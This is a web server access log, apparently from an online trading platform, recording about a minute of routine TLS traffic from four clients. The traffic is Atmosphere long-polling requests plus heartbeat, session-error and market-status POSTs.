[09/Jan/2026:11:15:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928804571 HTTP/1.1" -
[09/Jan/2026:11:15:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:15:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:15:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928791557 HTTP/1.1" -
[09/Jan/2026:11:15:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928796274 HTTP/1.1" -
[09/Jan/2026:11:15:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928794503 HTTP/1.1" -
[09/Jan/2026:11:15:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928809642 HTTP/1.1" -
[09/Jan/2026:11:15:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:15:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:15:29 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928796618 HTTP/1.1" -
[09/Jan/2026:11:15:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928801358 HTTP/1.1" -
[09/Jan/2026:11:15:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928799536 HTTP/1.1" -
[09/Jan/2026:11:15:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928814661 HTTP/1.1" -
[09/Jan/2026:11:15:34 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928801704 HTTP/1.1" -
[09/Jan/2026:11:15:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928806506 HTTP/1.1" -
[09/Jan/2026:11:15:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928804571 HTTP/1.1" -
[09/Jan/2026:11:15:36 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928819694 HTTP/1.1" -
[09/Jan/2026:11:15:39 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928806797 HTTP/1.1" -
[09/Jan/2026:11:15:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:15:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:15:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:15:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:15:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928811635 HTTP/1.1" -
[09/Jan/2026:11:15:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928809611 HTTP/1.1" -
[09/Jan/2026:11:15:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928824743 HTTP/1.1" -
[09/Jan/2026:11:15:44 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928811876 HTTP/1.1" -
[09/Jan/2026:11:15:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928816786 HTTP/1.1" -
[09/Jan/2026:11:15:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928814656 HTTP/1.1" -
[09/Jan/2026:11:15:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928829771 HTTP/1.1" -
[09/Jan/2026:11:15:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:15:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:15:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:15:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:15:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:15:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:15:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:15:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:15:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928816945 HTTP/1.1" -
[09/Jan/2026:11:15:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928821893 HTTP/1.1" -
[09/Jan/2026:11:15:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928819711 HTTP/1.1" -
[09/Jan/2026:11:15:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928834801 HTTP/1.1" -
[09/Jan/2026:11:15:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:15:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:15:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928821965 HTTP/1.1" -
[09/Jan/2026:11:15:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928826960 HTTP/1.1" -
[09/Jan/2026:11:15:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928824742 HTTP/1.1" -
[09/Jan/2026:11:15:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928839866 HTTP/1.1" -
[09/Jan/2026:11:15:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:15:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:15:59 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928826988 HTTP/1.1" -
[09/Jan/2026:11:16:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928832007 HTTP/1.1" -
[09/Jan/2026:11:16:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928829775 HTTP/1.1" -
[09/Jan/2026:11:16:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928844923 HTTP/1.1" -
[09/Jan/2026:11:16:04 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928832020 HTTP/1.1" -
[09/Jan/2026:11:16:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928837155 HTTP/1.1" -
[09/Jan/2026:11:16:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928834803 HTTP/1.1" -
[09/Jan/2026:11:16:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928849985 HTTP/1.1" -
[09/Jan/2026:11:16:09 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928837088 HTTP/1.1" -
[09/Jan/2026:11:16:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:16:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:16:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:16:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:16:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928839849 HTTP/1.1" -
[09/Jan/2026:11:16:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928842314 HTTP/1.1" -
[09/Jan/2026:11:16:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928855060 HTTP/1.1" -
[09/Jan/2026:11:16:14 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928842162 HTTP/1.1" -
[09/Jan/2026:11:16:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928844876 HTTP/1.1" -
[09/Jan/2026:11:16:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928847462 HTTP/1.1" -
[09/Jan/2026:11:16:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928860092 HTTP/1.1" -
[09/Jan/2026:11:16:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:16:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:16:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:16:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:16:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:16:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:16:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:16:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:16:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928847227 HTTP/1.1" -
[09/Jan/2026:11:16:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928849932 HTTP/1.1" -
[09/Jan/2026:11:16:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928852585 HTTP/1.1" -
[09/Jan/2026:11:16:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928865127 HTTP/1.1" -
[09/Jan/2026:11:16:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:16:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:16:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928852253 HTTP/1.1" -
[09/Jan/2026:11:16:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928854954 HTTP/1.1" -
[09/Jan/2026:11:16:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928857635 HTTP/1.1" -
[09/Jan/2026:11:16:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928870160 HTTP/1.1" -
[09/Jan/2026:11:16:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:16:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:16:29 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928857284 HTTP/1.1" -
[09/Jan/2026:11:16:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928860008 HTTP/1.1" -
[09/Jan/2026:11:16:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928862694 HTTP/1.1" -
[09/Jan/2026:11:16:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928875229 HTTP/1.1" -
